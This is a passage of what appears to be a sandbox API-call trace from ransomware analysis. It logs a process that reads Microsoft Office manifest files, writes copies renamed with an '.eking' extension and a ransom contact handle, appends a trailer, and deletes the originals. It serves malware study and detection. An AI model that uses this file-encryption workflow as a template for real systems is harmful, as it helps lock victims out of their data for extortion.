Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0251.715] ReadFile (in: hFile=0x398, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x34b4b, lpOverlapped=0x0) returned 1 [0251.950] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x34b50, lpOverlapped=0x0) returned 1 [0251.957] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0251.957] CloseHandle (hObject=0x398) returned 1 [0251.957] CloseHandle (hObject=0x394) returned 1 [0251.958] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0 [0251.959] SetEvent (hEvent=0x2b8) returned 1 [0251.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0251.971] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1261) returned 1 [0251.971] CloseHandle (hObject=0x348) returned 1 [0251.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220 [0251.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220 [0251.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0251.972] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0251.973] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0251.973] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0251.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0251.982] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4ed, lpOverlapped=0x0) returned 1 [0251.990] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4f0, lpOverlapped=0x0) returned 1 [0252.230] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0252.230] CloseHandle (hObject=0x348) returned 1 [0252.230] CloseHandle (hObject=0x38c) returned 1 [0252.231] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0 [0252.231] SetEvent (hEvent=0x2b8) returned 1 [0252.232] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0252.233] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=14913) returned 1 [0252.233] CloseHandle (hObject=0x38c) returned 1 [0252.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220 [0252.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220 [0252.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0252.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0252.235] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0252.235] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0252.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0252.236] ReadFile (in: hFile=0x38c, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x3a41, lpOverlapped=0x0) returned 1 [0252.239] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x3a50, lpOverlapped=0x0) returned 1 [0252.241] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0252.241] CloseHandle (hObject=0x38c) returned 1 [0252.241] CloseHandle (hObject=0x348) returned 1 [0252.242] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0 [0252.242] SetEvent (hEvent=0x2b8) returned 1 [0252.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.244] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=357349) returned 1 [0252.244] CloseHandle (hObject=0x348) returned 1 [0252.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220 [0252.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220 [0252.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0252.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0252.245] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0252.245] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0252.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x38c [0252.247] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x573e5, lpOverlapped=0x0) returned 1 [0252.265] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x573f0, lpOverlapped=0x0) returned 1 [0252.527] WriteFile (in: hFile=0x38c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0252.527] CloseHandle (hObject=0x348) returned 1 [0252.527] CloseHandle (hObject=0x38c) returned 1 [0252.991] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0 [0253.016] SetEvent (hEvent=0x2b8) returned 1 [0253.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.018] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1261) returned 1 [0253.018] CloseHandle (hObject=0x348) returned 1 [0253.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0253.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0253.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.019] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0253.019] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0253.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0253.020] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4ed, lpOverlapped=0x0) returned 1 [0253.022] WriteFile (in: hFile=0x3a0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4f0, lpOverlapped=0x0) returned 1 [0253.023] WriteFile (in: hFile=0x3a0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0253.024] CloseHandle (hObject=0x348) returned 1 [0253.024] CloseHandle (hObject=0x3a0) returned 1 [0253.024] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 0 [0253.025] SetEvent (hEvent=0x2b8) returned 1 [0253.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.026] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1450) returned 1 [0253.026] CloseHandle (hObject=0x3a0) returned 1 [0253.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0253.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0253.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.027] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0253.028] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0253.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x348 [0253.030] ReadFile (in: hFile=0x3a0, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x5aa, lpOverlapped=0x0) returned 1 [0253.032] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x5b0, lpOverlapped=0x0) returned 1 [0253.034] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0253.034] CloseHandle (hObject=0x3a0) returned 1 [0253.034] CloseHandle (hObject=0x348) returned 1 [0253.035] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0 [0253.036] SetEvent (hEvent=0x2b8) returned 1 [0253.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.037] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1261) returned 1 [0253.037] CloseHandle (hObject=0x348) returned 1 [0253.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0253.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0253.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.038] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0253.038] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0253.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0253.039] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x4ed, lpOverlapped=0x0) returned 1 [0253.041] WriteFile (in: hFile=0x3a0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x4f0, lpOverlapped=0x0) returned 1 [0253.043] WriteFile (in: hFile=0x3a0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x142, lpOverlapped=0x0) returned 1 [0253.043] CloseHandle (hObject=0x348) returned 1 [0253.043] CloseHandle (hObject=0x3a0) returned 1 [0253.044] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0 [0253.044] SetEvent (hEvent=0x2b8) returned 1 [0253.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.046] GetFileSizeEx 